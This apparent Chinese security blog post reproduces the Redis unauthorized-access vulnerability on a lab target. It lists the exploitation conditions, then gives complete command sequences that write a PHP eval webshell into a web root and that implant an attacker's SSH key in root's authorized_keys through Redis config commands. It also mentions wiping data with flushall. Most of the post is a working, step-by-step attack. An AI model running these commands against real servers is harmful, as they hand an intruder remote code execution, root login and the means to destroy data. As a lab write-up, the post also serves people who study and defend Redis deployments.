当前位置:首页 > SAFE > 正文内容

redis未授权访问漏洞复现

Luz2个月前 (08-09)SAFE146

环境搭建

靶机:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz  //服务下载
tar xzfredis-2.8.17.tar.gz   //文件解压
cd redis-2.8.17  //目录切换
make  //编译
cp redis.conf   /etc 
cd src 
./redis-server /etc/redis.conf       //服务初始化与启动

image.png

服务启动


攻击端:

yum install redis   //安装(Centos)

redis-cli -h hostname  //连接

image.png

测试连接成功


漏洞利用条件

  1. redis服务挂在0.0.0.0:6379,且未设置防火墙(即外网可连接)

  2. 没有设置密码(默认条件)


漏洞利用姿势

  1. 泄露敏感数据,或者使用flushall恶意清空数据

  2. 通过eval执行代码(写入文件)

  3. 修改ssh公钥文件,实现ssh登录(需要redis以root权限运行)


webshell写入

附加条件:知道web路径,具有文件读写权限


已知路径:/www/wwwroot/pboot.huctf.cn/PbootCMS-2.0.8

config set dir /www/wwwroot/pboot.huctf.cn/PbootCMS-2.0.8     //目录切换
config set dbfilename webshell.php    //创建文件
set webshell " <?php @eval($_POST['123']);?> "    //将马写入文件
save    //保存文件

攻击机视角: 

image.png


靶机视角:

image.png


第三人视角(访问木马):

image.png




蚁剑连接:

image.png

image.png



SSH公钥修改

附加条件:开启sshd服务

ssh-keygen -t rsa  //在本地主机生成密钥key
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/key.txt
cat /root/key.txt | redis-cli -h 【host】  //将txt文件中的公钥导入Redis缓存
cat /root/key.txt | redis-cli -h 【host】 –x set xxx //使用redis-cli -h ip命令连接靶机,将文件写入
redis-cli -h host
config set dir /root/.ssh    //切换目录到ssh公钥目录
config set dbfilename authorized_keys    //创建公钥文件
save    //保存文件


分享给朋友:

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。